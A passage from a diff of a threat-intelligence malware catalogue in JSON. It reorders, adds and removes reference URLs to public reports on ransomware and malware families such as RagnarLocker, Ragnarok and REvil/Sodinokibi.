"https://www.bleepingcomputer.com/news/security/fbi-ransomware-gang-breached-52-us-critical-infrastructure-orgs/", + "https://www.microsoft.com/security/blog/2020/04/28/ransomware-groups-continue-to-target-healthcare-critical-services-heres-how-to-reduce-risk/", + "https://www.waterisac.org/system/files/articles/FLASH-MU-000140-MW.pdf", + "https://news.sophos.com/en-us/2021/02/03/mtr-casebook-uncovering-a-backdoor-implant-in-a-solarwinds-orion-server/", "https://docs.google.com/spreadsheets/d/1MI8Z2tBhmqQ5X8Wf_ozv3dVjz5sJOs-3", "http://reversing.fun/reversing/2021/04/15/unpacking_ragnarlocker_via_emulation.html", - "https://news.sophos.com/en-us/2022/03/17/the-ransomware-threat-intelligence-center/", "https://www.mcafee.com/blogs/other-blogs/mcafee-labs/ragnarlocker-ransomware-threatens-to-release-confidential-information", - "https://www.crowdstrike.com/blog/double-trouble-ransomware-data-leak-extortion-part-1", "https://blog.reversing.xyz/reversing/2021/04/15/unpacking_ragnarlocker_via_emulation.html", - "https://twitter.com/AltShiftPrtScn/status/1403707430765273095", - "https://www.cyborgsecurity.com/cyborg_labs/hunting-ransomware-inhibiting-system-backup-or-recovery/", - "https://go.crowdstrike.com/rs/281-OBQ-266/images/Report2021GTR.pdf", - "https://seguranca-informatica.pt/ragnar-locker-malware-analysis/", + "https://id-ransomware.blogspot.com/2020/02/ragnarlocker-ransomware.html", + "https://www.accenture.com/us-en/blogs/cyber-defense/evolving-danger-ransomware-extortion", + "https://www.trellix.com/en-us/about/newsroom/stories/threat-labs/analysis-and-protections-for-ragnarlocker-ransomware.html", + "https://blog.blazeinfosec.com/dissecting-ragnar-locker-the-case-of-edp/", + "https://www.hornetsecurity.com/en/security-informationen-en/leakware-ransomware-hybrid-attacks/", + "https://news.sophos.com/en-us/2022/03/17/the-ransomware-threat-intelligence-center/", + "https://www.ic3.gov/Media/News/2022/220307.pdf", + "https://krebsonsecurity.com/2020/11/ransomware-group-turns-to-facebook-ads/", + "https://www.theregister.com/2022/03/09/fbi_says_ragnar_locker_ransomware/", + "https://www.acronis.com/en-sg/articles/ragnar-locker/", + "https://analyst1.com/file-assets/RANSOM-MAFIA-ANALYSIS-OF-THE-WORLD%E2%80%99S-FIRST-RANSOMWARE-CARTEL.pdf", + "https://www.accenture.com/us-en/blogs/cyber-defense/moving-left-ransomware-boom", + "https://intel471.com/blog/conti-ransomware-cooperation-maze-lockbit-ragnar-locker", + "http://reversing.fun/posts/2021/04/15/unpacking_ragnarlocker_via_emulation.html", + "https://symantec.broadcom.com/hubfs/The_Ransomware_Threat_September_2021.pdf", + "https://www.crowdstrike.com/blog/double-trouble-ransomware-data-leak-extortion-part-1/", "https://www.bleepingcomputer.com/news/security/ragnarlocker-ransomware-hits-edp-energy-giant-asks-for-10m/", "https://www.bleepingcomputer.com/news/security/capcom-hit-by-ragnar-locker-ransomware-1tb-allegedly-stolen/", - "https://www.waterisac.org/system/files/articles/FLASH-MU-000140-MW.pdf", - "https://krebsonsecurity.com/2020/11/ransomware-group-turns-to-facebook-ads/", - "https://blog.reversing.xyz/docs/posts/unpacking_ragnarlocker_via_emulation/", - "https://securelist.com/modern-ransomware-groups-ttps/106824/", - "https://www.theregister.com/2022/03/09/fbi_says_ragnar_locker_ransomware/", - "https://news.sophos.com/en-us/2021/02/03/mtr-casebook-uncovering-a-backdoor-implant-in-a-solarwinds-orion-server/", - "https://www.trellix.com/en-us/about/newsroom/stories/threat-labs/analysis-and-protections-for-ragnarlocker-ransomware.html", - "https://public.intel471.com/blog/ransomware-as-a-service-2020-ryuk-maze-revil-egregor-doppelpaymer/", "https://ke-la.com/how-ransomware-gangs-find-new-monetization-schemes-and-evolve-in-marketing/", - "https://cyware.com/news/ragnar-locker-breached-52-organizations-and-counting-fbi-warns-0588d220/", - "https://id-ransomware.blogspot.com/2020/02/ragnarlocker-ransomware.html", - "https://www.crowdstrike.com/blog/double-trouble-ransomware-data-leak-extortion-part-1/", - "https://www.bleepingcomputer.com/news/security/fbi-ransomware-gang-breached-52-us-critical-infrastructure-orgs/", - "http://reversing.fun/posts/2021/04/15/unpacking_ragnarlocker_via_emulation.html", - "https://www.hornetsecurity.com/en/security-informationen-en/leakware-ransomware-hybrid-attacks/", - "https://www.zdnet.com/article/capcom-quietly-discloses-cyberattack-impacting-email-file-servers/", - "https://www.microsoft.com/security/blog/2020/04/28/ransomware-groups-continue-to-target-healthcare-critical-services-heres-how-to-reduce-risk/", - "https://securelist.com/targeted-ransomware-encrypting-data/99255/", - "https://blog.blazeinfosec.com/dissecting-ragnar-locker-the-case-of-edp/", - "https://intel471.com/blog/conti-ransomware-cooperation-maze-lockbit-ragnar-locker", - "https://analyst1.com/file-assets/RANSOM-MAFIA-ANALYSIS-OF-THE-WORLD%E2%80%99S-FIRST-RANSOMWARE-CARTEL.pdf", - "https://analyst1.com/blog/ransom-mafia-analysis-of-the-worlds-first-ransomware-cartel", + "https://news.sophos.com/en-us/2020/05/21/ragnar-locker-ransomware-deploys-virtual-machine-to-dodge-security/", + "https://go.crowdstrike.com/rs/281-OBQ-266/images/Report2021GTR.pdf", + "https://twitter.com/AltShiftPrtScn/status/1403707430765273095", "https://www.capcom.co.jp/ir/english/news/pdf/e210413.pdf", - "https://blog.cyble.com/2022/01/20/deep-dive-into-ragnar-locker-ransomware-gang/" + "https://blog.reversing.xyz/docs/posts/unpacking_ragnarlocker_via_emulation/", + "https://analyst1.com/blog/ransom-mafia-analysis-of-the-worlds-first-ransomware-cartel", + "https://www.bleepingcomputer.com/news/security/japanese-game-dev-capcom-hit-by-cyberattack-business-impacted/" ], "synonyms": [], "type": [] @@ -34588,14 +36472,14 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.ragnarok", - "https://www.bleepingcomputer.com/news/security/ragnarok-ransomware-targets-citrix-adc-disables-windows-defender/", "https://news.sophos.com/en-us/2020/05/21/asnarok2/", - "https://news.sophos.com/en-us/2022/03/17/the-ransomware-threat-intelligence-center/", - "https://go.crowdstrike.com/rs/281-OBQ-266/images/Report2021GTR.pdf", "https://docs.google.com/spreadsheets/d/1MI8Z2tBhmqQ5X8Wf_ozv3dVjz5sJOs-3", - "https://github.com/k-vitali/Malware-Misc-RE/blob/master/2020-01-26-ragnarok-cfg-vk.notes.raw", "https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2022/06/23093553/Common-TTPs-of-the-modern-ransomware_low-res.pdf", - "https://www.bleepingcomputer.com/news/security/ragnarok-ransomware-releases-master-decryptor-after-shutdown/" + "https://www.bleepingcomputer.com/news/security/ragnarok-ransomware-releases-master-decryptor-after-shutdown/", + "https://go.crowdstrike.com/rs/281-OBQ-266/images/Report2021GTR.pdf", + "https://github.com/k-vitali/Malware-Misc-RE/blob/master/2020-01-26-ragnarok-cfg-vk.notes.raw", + "https://www.bleepingcomputer.com/news/security/ragnarok-ransomware-targets-citrix-adc-disables-windows-defender/", + "https://news.sophos.com/en-us/2022/03/17/the-ransomware-threat-intelligence-center/" ], "synonyms": [], "type": [] @@ -34609,12 +36493,13 @@ "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.raindrop", "https://symantec.broadcom.com/hubfs/Attacks-Against-Government-Sector.pdf", - "https://www.sans.org/webcasts/contrarian-view-solarwinds-119515", + "https://blog.bushidotoken.net/2022/07/space-invaders-cyber-threats-that-are.html", + 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"https://www.symantec.com/connect/blogs/crisis-windows-sneaks-virtual-machines", - "http://blogs.360.cn/post/APT-C-34_Golden_Falcon.html", - "https://www.virusbulletin.com/virusbulletin/2020/01/vb2019-paper-rich-headers-leveraging-mysterious-artifact-pe-format/", - "https://www.intego.com/mac-security-blog/new-apple-mac-trojan-called-osxcrisis-discovered-by-intego-virus-team/?", "https://www.f-secure.com/content/dam/f-secure/en/labs/whitepapers/Callisto_Group.pdf", - "https://www.virusbulletin.com/virusbulletin/2019/01/vb2018-paper-hacking-team-hacked-team/", - "http://contagiodump.blogspot.com/2012/12/aug-2012-w32crisis-and-osxcrisis-jar.html", - "https://www.welivesecurity.com/2018/03/09/new-traces-hacking-team-wild/" + "http://blogs.360.cn/post/APT-C-34_Golden_Falcon.html" ], "synonyms": [ "Crisis", @@ -35072,8 +36966,9 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.rdat", - 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"https://www.symantec.com/connect/blogs/new-carberp-variant-heads-down-under" ], "synonyms": [], "type": [] @@ -35104,8 +36999,8 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.reaver", - "https://researchcenter.paloaltonetworks.com/2017/11/unit42-new-malware-with-ties-to-sunorcal-discovered/", - "https://threatvector.cylance.com/en_us/home/reaver-mapping-connections-between-disparate-chinese-apt-groups.html" + "https://threatvector.cylance.com/en_us/home/reaver-mapping-connections-between-disparate-chinese-apt-groups.html", + "https://researchcenter.paloaltonetworks.com/2017/11/unit42-new-malware-with-ties-to-sunorcal-discovered/" ], "synonyms": [], "type": [] @@ -35113,6 +37008,23 @@ "uuid": "826c31ca-2617-47e4-b236-205da3881182", "value": "Reaver" }, + { + "description": "This malware is a successor to Raccoon Stealer (also referred to as Raccoon Stealer 2.0), which is however a full rewrite in C/C++.", + "meta": { + "refs": [ + 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"https://www.trendmicro.com/vinfo/us/security/news/cybercrime-and-digital-threats/ransomware-double-extortion-and-beyond-revil-clop-and-conti", - "https://www.kaseya.com/potential-attack-on-kaseya-vsa/", - "https://documents.trendmicro.com/assets/rpt/rpt-navigating-new-frontiers-trend-micro-2021-annual-cybersecurity-report.pdf", - "https://areteir.com/wp-content/uploads/2020/07/Arete_Insight_Sodino-Ransomware_June-2020.pdf", - "https://www.bleepingcomputer.com/news/security/sodinokibi-ransomware-publishes-stolen-data-for-the-first-time/", - "https://www.connectwise.com/resources/revil-profile", - "https://www.databreaches.net/a-former-darkside-listing-shows-up-on-revils-leak-site/", - "https://www.goggleheadedhacker.com/blog/post/reversing-crypto-functions", - "https://blag.nullteilerfrei.de/2020/02/02/defeating-sodinokibi-revil-string-obfuscation-in-ghidra/", - "https://www.trendmicro.com/en_in/research/21/k/global-operations-lead-to-arrests-of-alleged-members-of-gandcrab.html", - "https://www.bleepingcomputer.com/news/security/a-look-inside-the-highly-profitable-sodinokibi-ransomware-business/", - "https://ke-la.com/how-ransomware-gangs-find-new-monetization-schemes-and-evolve-in-marketing/", - "https://www.paloaltonetworks.com/content/dam/pan/en_US/assets/pdf/reports/Unit_42/unit42-ransomware-threat-report-2021.pdf", - "https://vimeo.com/449849549", - "https://blag.nullteilerfrei.de/2019/11/09/api-hashing-why-and-how/", - "https://gist.githubusercontent.com/fwosar/a63e1249bfccb8395b961d3d780c0354/raw/312b2bbc566cbee2dac7b143dc143c1913ddb729/revil.json", - "https://www.digitalshadows.com/blog-and-research/revil-analysis-of-competing-hypotheses/", - "https://therecord.media/ransomwhere-project-wants-to-create-a-database-of-past-ransomware-payments/", - "https://ke-la.com/darknet-threat-actors-are-not-playing-games-with-the-gaming-industry/", - "https://twitter.com/R3MRUM/status/1412064882623713283", - "https://www.huntandhackett.com/blog/advanced-ip-scanner-the-preferred-scanner-in-the-apt-toolbox", - "https://blogs.blackberry.com/en/2021/05/threat-thursday-dr-revil-ransomware-strikes-again-employs-double-extortion-tactics", - "https://www.hsgac.senate.gov/media/minority-media/new-portman-report-demonstrates-threat-ransomware-presents-to-the-united-states", - "https://www.domaintools.com/resources/blog/revealing-revil-ransomware-with-domaintools-and-maltego", - "https://doublepulsar.com/kaseya-supply-chain-attack-delivers-mass-ransomware-event-to-us-companies-76e4ec6ec64b", - "https://www.crowdstrike.com/blog/how-crowdstrike-stops-revil-ransomware-from-kaseya-attack/", - "https://www.bleepingcomputer.com/news/security/sodinokibi-ransomware-may-tip-nasdaq-on-attacks-to-hurt-stock-prices/", - "https://www.bleepingcomputer.com/news/security/sodinokibi-ransomware-hits-new-york-airport-systems/", - "https://www.trendmicro.com/en_us/research/21/a/sodinokibi-ransomware.html", - "https://kaseya.app.box.com/s/0ysvgss7w48nxh8k1xt7fqhbcjxhas40", - "https://www.trustwave.com/en-us/resources/blogs/spiderlabs-blog/diving-deeper-into-the-kaseya-vsa-attack-revil-returns-and-other-hackers-are-riding-their-coattails/", - "https://cybleinc.com/2021/07/03/uncensored-interview-with-revil-sodinokibi-ransomware-operators/", - "https://unit42.paloaltonetworks.com/threat-brief-kaseya-vsa-ransomware-attacks/", - "https://twitter.com/SophosLabs/status/1413616952313004040?s=20", - "https://www.bleepingcomputer.com/news/security/revil-ransomware-hits-managedcom-hosting-provider-500k-ransom/", - "https://blog.amossys.fr/sodinokibi-malware-analysis.html", - "https://blog.gigamon.com/2021/07/08/observations-and-recommendations-from-the-ongoing-revil-kaseya-incident/", - "https://storage.courtlistener.com/recap/gov.uscourts.txnd.351760/gov.uscourts.txnd.351760.1.0_3.pdf", - "https://twitter.com/LloydLabs/status/1411098844209819648", "https://research.checkpoint.com/2020/graphology-of-an-exploit-playbit/", - "https://www.elastic.co/blog/elastic-security-prevents-100-percent-of-revil-ransomware-samples?utm_content=&utm_medium=social&utm_source=twitter", - "https://www.secureworks.com/blog/revil-development-adds-confidence-about-gold-southfield-reemergence?linkId=164334801", - "https://analyst1.com/file-assets/History-of-REvil.pdf", - "https://www.cronup.com/post/de-ataque-con-malware-a-incidente-de-ransomware", - "https://www.trendmicro.com/en_us/research/21/h/supply-chain-attacks-from-a-managed-detection-and-response-persp.html", - "https://home.treasury.gov/news/press-releases/jy0471", - "https://securelist.com/ransomware-world-in-2021/102169/", - "https://cisoclub.ru/doc/otchet-kompanii-group-ib-ransomware-uncovered-2020-2021/?bp-attachment=group-ib_ransomware_uncovered_2020-2021.pdf", - "https://www.youtube.com/watch?v=tZVFMVm5GAk", - "https://www.advanced-intel.com/post/from-qbot-with-revil-ransomware-initial-attack-exposure-of-jbs", - "https://therecord.media/darkside-ransomware-gang-says-it-lost-control-of-its-servers-money-a-day-after-biden-threat/", - "https://www.bleepingcomputer.com/news/security/revil-ransomwares-servers-mysteriously-come-back-online/", - "https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/kaseya-ransomware-supply-chain", - "https://www.bleepingcomputer.com/news/security/revil-ransomware-gang-claims-over-100-million-profit-in-a-year/", - "https://unit42.paloaltonetworks.com/prometheus-ransomware/", - "https://threatintel.blog/OPBlueRaven-Part1/", - "https://velzart.nl/blog/ransomeware/", - "https://isc.sans.edu/diary/27012", - "https://ke-la.com/ransomware-gangs-are-starting-to-look-like-oceans-11/", - "https://ke-la.com/zooming-into-darknet-threats-targeting-jp-orgs-kela/", - "https://www.cert.ssi.gouv.fr/uploads/CERTFR-2020-CTI-001.pdf", - "https://russian.rt.com/russia/article/926347-barnaulec-rozysk-fbr-kibermoshennichestvo", - "https://www.youtube.com/watch?v=LUxOcpIRxmg", - "https://www.fbi.gov/wanted/cyber/yevgyeniy-igoryevich-polyanin", - "https://www.reuters.com/technology/exclusive-governments-turn-tables-ransomware-gang-revil-by-pushing-it-offline-2021-10-21/", - "https://blog.truesec.com/2021/07/04/kaseya-supply-chain-attack-targeting-msps-to-deliver-revil-ransomware/", + "https://www.bleepingcomputer.com/news/security/revil-ransomware-devs-added-a-backdoor-to-cheat-affiliates/", + "https://www.crowdstrike.com/blog/double-trouble-ransomware-data-leak-extortion-part-2/", + "https://medium.com/s2wlab/w4-may-en-story-of-the-week-ransomware-on-the-darkweb-5f5b8d4c3b6f", + "https://www.reddit.com/r/msp/comments/ocggbv/crticial_ransomware_incident_in_progress/", + "https://www.trustwave.com/en-us/resources/blogs/spiderlabs-blog/diving-deeper-into-the-kaseya-vsa-attack-revil-returns-and-other-hackers-are-riding-their-coattails/", + "https://f.hubspotusercontent10.net/hubfs/7095517/FLINT-Kaseya-Another%20Massive%20Heist%20by%20REvil.pdf", + "https://kaseya.app.box.com/s/0ysvgss7w48nxh8k1xt7fqhbcjxhas40", + "https://securityintelligence.com/posts/sodinokibi-revil-ransomware-disrupt-trade-secrets/", + "https://www.domaintools.com/resources/blog/revealing-revil-ransomware-with-domaintools-and-maltego", + "https://www.pwc.co.uk/cyber-security/assets/cyber-threats-2019-retrospect.pdf", + "https://public.intel471.com/blog/ransomware-as-a-service-2020-ryuk-maze-revil-egregor-doppelpaymer/", + "https://storage.courtlistener.com/recap/gov.uscourts.txnd.351760/gov.uscourts.txnd.351760.1.0_3.pdf", + "https://www.nytimes.com/2019/08/22/us/ransomware-attacks-hacking.html", + "https://thedfirreport.com/2021/03/29/sodinokibi-aka-revil-ransomware/", + "https://www.splunk.com/en_us/blog/security/gone-in-52-seconds-and-42-minutes-a-comparative-analysis-of-ransomware-encryption-speed.html", + "https://www.youtube.com/watch?v=P8o6GItci5w", + "https://www.bleepingcomputer.com/news/security/revil-ransomware-hits-managedcom-hosting-provider-500k-ransom/", + "https://blog.intel471.com/2020/03/31/revil-ransomware-as-a-service-an-analysis-of-a-ransomware-affiliate-operation/", + "https://www.huntress.com/blog/security-researchers-hunt-to-discover-origins-of-the-kaseya-vsa-mass-ransomware-incident", + "https://intel471.com/blog/changes-in-revil-ransomware-version-2-2", + "https://www.boll.ch/datasheets/WG_Threat_Report_EN.pdf", + "https://www.certego.net/en/news/malware-tales-sodinokibi/", + "https://www.bleepingcomputer.com/news/security/three-more-ransomware-families-create-sites-to-leak-stolen-data/", + "https://www.huntandhackett.com/blog/revil-the-usage-of-legitimate-remote-admin-tooling", + "https://jsac.jpcert.or.jp/archive/2020/pdf/JSAC2020_1_tamada-yamazaki-nakatsuru_en.pdf", + "https://www.trustwave.com/en-us/resources/blogs/spiderlabs-blog/undressing-the-revil/", + "https://securityaffairs.co/wordpress/98694/malware/sodinokibi-kenneth-cole-data-breach.html", + "https://www.europol.europa.eu/newsroom/news/five-affiliates-to-sodinokibi/revil-unplugged", + "https://www.pwc.co.uk/issues/cyber-security-services/insights/what-is-behind-ransomware-attacks-increase.html", + "https://blog.truesec.com/2021/07/06/kaseya-vsa-zero-day-exploit", "https://securelist.com/sodin-ransomware/91473/", "https://www.flashpoint-intel.com/blog/chatter-indicates-blackmatter-as-revil-successor/", - "https://www.flashpoint-intel.com/blog/darkside-ransomware-links-to-revil-difficult-to-dismiss/", - "https://unit42.paloaltonetworks.com/revil-threat-actors/", - "https://www.splunk.com/en_us/blog/security/revil-ransomware-threat-research-update-and-detections.html", - "https://www.crowdstrike.com/blog/how-to-defend-against-conti-darkside-revil-and-other-ransomware/", - "https://www.domaintools.com/resources/blog/the-most-prolific-ransomware-families-a-defenders-guide", - "https://www.darkowl.com/blog-content/page-not-found-revil-darknet-services-offline-after-attack-last-weekend", - "https://medium.com/s2wlab/deep-analysis-of-revil-ransomware-written-in-korean-d1899c0e9317", - "https://www.pwc.co.uk/cyber-security/pdf/pwc-cyber-threats-2020-a-year-in-retrospect.pdf", - "https://redcanary.com/blog/uncompromised-kaseya/", - "https://www.secureworks.com/blog/revil-ransomware-reemerges-after-shutdown-universal-decryptor-released", - "https://web.archive.org/web/20210305181115/https://cisoclub.ru/doc/otchet-kompanii-group-ib-ransomware-uncovered-2020-2021/?bp-attachment=group-ib_ransomware_uncovered_2020-2021.pdf", - "https://securelist.com/revil-ransomware-attack-on-msp-companies/103075/", - "https://www.huntandhackett.com/blog/revil-the-usage-of-legitimate-remote-admin-tooling", - "https://www.crowdstrike.com/blog/how-falcon-complete-thwarted-a-revil-ransomware-attack/", - "https://teamt5.org/en/posts/introducing-the-most-profitable-ransomware-revil/", - "https://www.goggleheadedhacker.com/blog/post/sodinokibi-ransomware-analysis", - "https://securingtomorrow.mcafee.com/other-blogs/mcafee-labs/mcafee-atr-analyzes-sodinokibi-aka-revil-ransomware-as-a-service-what-the-code-tells-us/", - "https://www.youtube.com/watch?v=QYQQUUpU04s", - "https://www.crowdstrike.com/blog/the-evolution-of-revil-ransomware-and-pinchy-spider/", - "https://www.digitalshadows.com/blog-and-research/ransomware-as-a-service-rogue-affiliates-and-whats-next/", "https://blogs.blackberry.com/en/2022/01/kraken-the-code-on-prometheus", - "https://www.kpn.com/security-blogs/Tracking-REvil.htm", - "https://www.zscaler.com/blogs/security-research/kaseya-supply-chain-ransomware-attack-technical-analysis-revil-payload", - "https://www.accenture.com/us-en/blogs/cyber-defense/evolving-danger-ransomware-extortion", - "https://thedfirreport.com/2021/03/29/sodinokibi-aka-revil-ransomware/", - "https://ke-la.com/will-the-revils-story-finally-be-over/", - "https://www.bsi.bund.de/SharedDocs/Downloads/DE/BSI/Publikationen/Lageberichte/Lagebericht2020.pdf?__blob=publicationFile&v=2", - "https://www.accenture.com/us-en/blogs/cyber-defense/moving-left-ransomware-boom", - "https://www.trendmicro.com/vinfo/us/security/news/ransomware-spotlight/ransomware-spotlight-revil", - "https://www.proofpoint.com/us/blog/threat-insight/first-step-initial-access-leads-ransomware", - "https://twitter.com/SyscallE/status/1411074271875670022", - "https://securityscorecard.com/research/a-detailed-analysis-of-the-last-version-of-revil-ransomware", - "https://www.crowdstrike.com/blog/how-big-game-hunting-ttps-shifted-after-darkside-pipeline-attack/", - "https://blog.talosintelligence.com/2019/04/sodinokibi-ransomware-exploits-weblogic.html", - "https://www.bleepingcomputer.com/news/security/revil-ransomware-gangs-web-sites-mysteriously-shut-down/", + "https://medium.com/@underthebreach/tracking-down-revils-lalartu-by-utilizing-multiple-osint-methods-2bf3a6c65a80", "https://twitter.com/resecurity_com/status/1412662343796813827", - "https://twitter.com/Jacob_Pimental/status/1398356030489251842?s=20", - "https://therecord.media/an-interview-with-blackmatter-a-new-ransomware-group-thats-learning-from-the-mistakes-of-darkside-and-revil/", - "https://ke-la.com/to-attack-or-not-to-attack-targeting-the-healthcare-sector-in-the-underground-ecosystem/", - "https://www.netskope.com/blog/netskope-threat-coverage-revil", - "https://tehtris.com/fr/peut-on-neutraliser-un-ransomware-lance-en-tant-que-system-sur-des-milliers-de-machines-en-meme-temps/", - "https://www.blackberry.com/content/dam/blackberry-com/asset/enterprise/pdf/wp-spark-state-of-ransomware.pdf", - "https://news.sophos.com/en-us/2021/06/30/mtr-in-real-time-hand-to-hand-combat-with-revil-ransomware-chasing-a-2-5-million-pay-day/", - "https://go.crowdstrike.com/rs/281-OBQ-266/images/Report2020CrowdStrikeGlobalThreatReport.pdf", - "https://securityintelligence.com/posts/sodinokibi-revil-ransomware-disrupt-trade-secrets/", - "https://www.bleepingcomputer.com/news/security/revil-ransomware-shuts-down-again-after-tor-sites-were-hijacked/", - "https://www.trendmicro.com/vinfo/us/security/news/cybercrime-and-digital-threats/ransomware-as-a-service-enabler-of-widespread-attacks", - "https://www.cert.ssi.gouv.fr/uploads/CERTFR-2021-CTI-009.pdf", - "https://www.cnbc.com/2021/04/23/axis-of-revil-inside-the-hacker-collective-taunting-apple.html", - "https://www.youtube.com/watch?v=l2P5CMH9TE0", - "https://medium.com/s2wlab/w4-may-en-story-of-the-week-ransomware-on-the-darkweb-5f5b8d4c3b6f", - "https://www.bleepingcomputer.com/news/security/revil-ransomware-has-a-new-windows-safe-mode-encryption-mode/", - "https://www.bbc.com/news/technology-59297187", - "https://www.recordedfuture.com/blackmatter-ransomware-successor-darkside-revil/", - "https://twitter.com/AdamTheAnalyst/status/1409499591452639242?s=20", - "https://diicot.ro/mass-media/3341-comunicat-de-presa-2-08-11-2021", + "https://www.bleepingcomputer.com/news/security/popular-russian-hacking-forum-xss-bans-all-ransomware-topics/", + "https://www.bsi.bund.de/SharedDocs/Downloads/DE/BSI/Publikationen/Lageberichte/Lagebericht2020.pdf?__blob=publicationFile&v=2", + "https://www.hsgac.senate.gov/media/minority-media/new-portman-report-demonstrates-threat-ransomware-presents-to-the-united-states", + "https://www.bleepingcomputer.com/news/security/revil-ransomware-gang-claims-over-100-million-profit-in-a-year/", + "https://www.crowdstrike.com/blog/how-to-defend-against-conti-darkside-revil-and-other-ransomware/", + "https://cybleinc.com/2021/07/03/uncensored-interview-with-revil-sodinokibi-ransomware-operators/", + "https://www.bleepingcomputer.com/news/security/another-ransomware-will-now-publish-victims-data-if-not-paid/", + "https://www.coveware.com/blog/ransomware-attack-vectors-shift-as-new-software-vulnerability-exploits-abound", + "https://cti-league.com/wp-content/uploads/2021/02/CTI-League-Darknet-Report-2021.pdf", + "https://ke-la.com/easy-way-in-5-ransomware-victims-had-their-pulse-secure-vpn-credentials-leaked/", + "https://www.cronup.com/post/de-ataque-con-malware-a-incidente-de-ransomware", "https://www.elastic.co/blog/ransomware-interrupted-sodinokibi-and-the-supply-chain", - "https://www.zdnet.com/article/revil-ransomware-gang-acquires-kpot-malware/", - "https://www.secureworks.com/research/revil-sodinokibi-ransomware", "https://www.bleepingcomputer.com/news/security/kaseyas-universal-revil-decryption-key-leaked-on-a-hacking-forum/", - "https://www.bleepingcomputer.com/news/security/fbi-revil-cybergang-behind-the-jbs-ransomware-attack/", - "https://www.splunk.com/en_us/pdfs/resources/whitepaper/an-empirically-comparative-analysis-of-ransomware-binaries.pdf", - "https://www.advanced-intel.com/post/inside-revil-extortionist-machine-predictive-insights", - "https://securityintelligence.com/posts/sodinokibi-ransomware-incident-response-intelligence-together/", + "https://blog.amossys.fr/sodinokibi-malware-analysis.html", + "https://news.sophos.com/en-us/2022/03/17/the-ransomware-threat-intelligence-center/", + "https://raw.githubusercontent.com/k-vitali/Malware-Misc-RE/master/2022-05-01-revil-reborn-ransom.vk.cfg.txt", + "https://www.crowdstrike.com/blog/how-crowdstrike-stops-revil-ransomware-from-kaseya-attack/", + "https://www.hornetsecurity.com/en/security-informationen-en/leakware-ransomware-hybrid-attacks/", "https://www.bleepingcomputer.com/news/security/revils-tor-sites-come-alive-to-redirect-to-new-ransomware-operation/", "https://www.cybereason.com/blog/cybereason-vs-revil-ransomware-the-kaseya-chronicles", - "https://www.secureworks.com/research/threat-profiles/gold-southfield", - "https://www.crowdstrike.com/blog/double-trouble-ransomware-data-leak-extortion-part-1/", - "https://www.crowdstrike.com/blog/double-trouble-ransomware-data-leak-extortion-part-2/", - "https://download.microsoft.com/download/f/8/1/f816b8b6-bee3-41e5-b6cc-e925a5688f61/Microsoft_Digital_Defense_Report_2020_September.pdf", - "https://www.youtube.com/watch?v=P8o6GItci5w", - "https://asec.ahnlab.com/ko/19640/", - "https://www.pwc.co.uk/issues/cyber-security-services/insights/what-is-behind-ransomware-attacks-increase.html", - "https://www.bleepingcomputer.com/news/security/sodinokibi-ransomware-to-stop-taking-bitcoin-to-hide-money-trail/", - "https://www.advintel.io/post/storm-in-safe-haven-takeaways-from-russian-authorities-takedown-of-revil", - "https://www.trendmicro.com/en_us/research/20/l/the-impact-of-modern-ransomware-on-manufacturing-networks.html", - "https://teamt5.org/tw/posts/revil-dll-sideloading-technique-used-by-other-hackers/", - "https://news.sophos.com/en-us/2021/06/30/what-to-expect-when-youve-been-hit-with-revil-ransomware/", - "https://docs.google.com/spreadsheets/d/1MI8Z2tBhmqQ5X8Wf_ozv3dVjz5sJOs-3", - "https://vulnerability.ch/2021/04/ransomware-and-date-leak-site-publication-time-analysis/", - "https://intel471.com/blog/changes-in-revil-ransomware-version-2-2", - "https://dissectingmalwa.re/germanwipers-big-brother-gandgrabs-kid-sodinokibi.html", - "https://www.bleepingcomputer.com/news/security/revil-gang-tries-to-extort-apple-threatens-to-sell-stolen-blueprints/", + "https://www.br.de/nachrichten/deutschland-welt/mutmasslicher-ransomware-millionaer-identifiziert,Sn3iHgJ", + "https://www.cnbc.com/2021/04/23/axis-of-revil-inside-the-hacker-collective-taunting-apple.html", + "https://www.youtube.com/watch?v=QYQQUUpU04s", "https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/sodinokibi-ransomware-cobalt-strike-pos", - "https://www.cyborgsecurity.com/cyborg_labs/hunting-ransomware-inhibiting-system-backup-or-recovery/" + "https://twitter.com/_alex_il_/status/1412403420217159694", + "https://www.washingtonpost.com/national-security/ransomware-fbi-revil-decryption-key/2021/09/21/4a9417d0-f15f-11eb-a452-4da5fe48582d_story.html", + "https://unit42.paloaltonetworks.com/revil-threat-actors/", + "https://www.cert.ssi.gouv.fr/cti/CERTFR-2021-CTI-009/", + "https://krebsonsecurity.com/2021/11/revil-ransom-arrest-6m-seizure-and-10m-reward/", + "https://community.riskiq.com/article/3315064b", + "https://public.intel471.com/blog/revil-ransomware-interview-russian-osint-100-million/", + "https://www.huntandhackett.com/blog/advanced-ip-scanner-the-preferred-scanner-in-the-apt-toolbox", + "https://www.trendmicro.com/en_us/research/21/h/supply-chain-attacks-from-a-managed-detection-and-response-persp.html", + "https://www.tgsoft.it/english/news_archivio_eng.asp?id=1004", + "https://www.microsoft.com/security/blog/2022/05/09/ransomware-as-a-service-understanding-the-cybercrime-gig-economy-and-how-to-protect-yourself", + "https://query.prod.cms.rt.microsoft.com/cms/api/am/binary/RE54L7v", + "https://www.trendmicro.com/vinfo/us/security/news/cybercrime-and-digital-threats/ransomware-as-a-service-enabler-of-widespread-attacks", + "https://blogs.blackberry.com/en/2021/11/revil-under-the-microscope", + "https://teamt5.org/tw/posts/revil-dll-sideloading-technique-used-by-other-hackers/", + "https://www.justice.gov/opa/pr/ukrainian-arrested-and-charged-ransomware-attack-kaseya", + "https://www.bleepingcomputer.com/news/security/sodinokibi-ransomware-hits-new-york-airport-systems/", + "https://therecord.media/darkside-ransomware-gang-says-it-lost-control-of-its-servers-money-a-day-after-biden-threat/", + "https://www.microsoft.com/security/blog/2020/04/28/ransomware-groups-continue-to-target-healthcare-critical-services-heres-how-to-reduce-risk/", + "https://www.trendmicro.com/en_us/research/20/l/the-impact-of-modern-ransomware-on-manufacturing-networks.html", + "https://twitter.com/SophosLabs/status/1413616952313004040?s=20", + 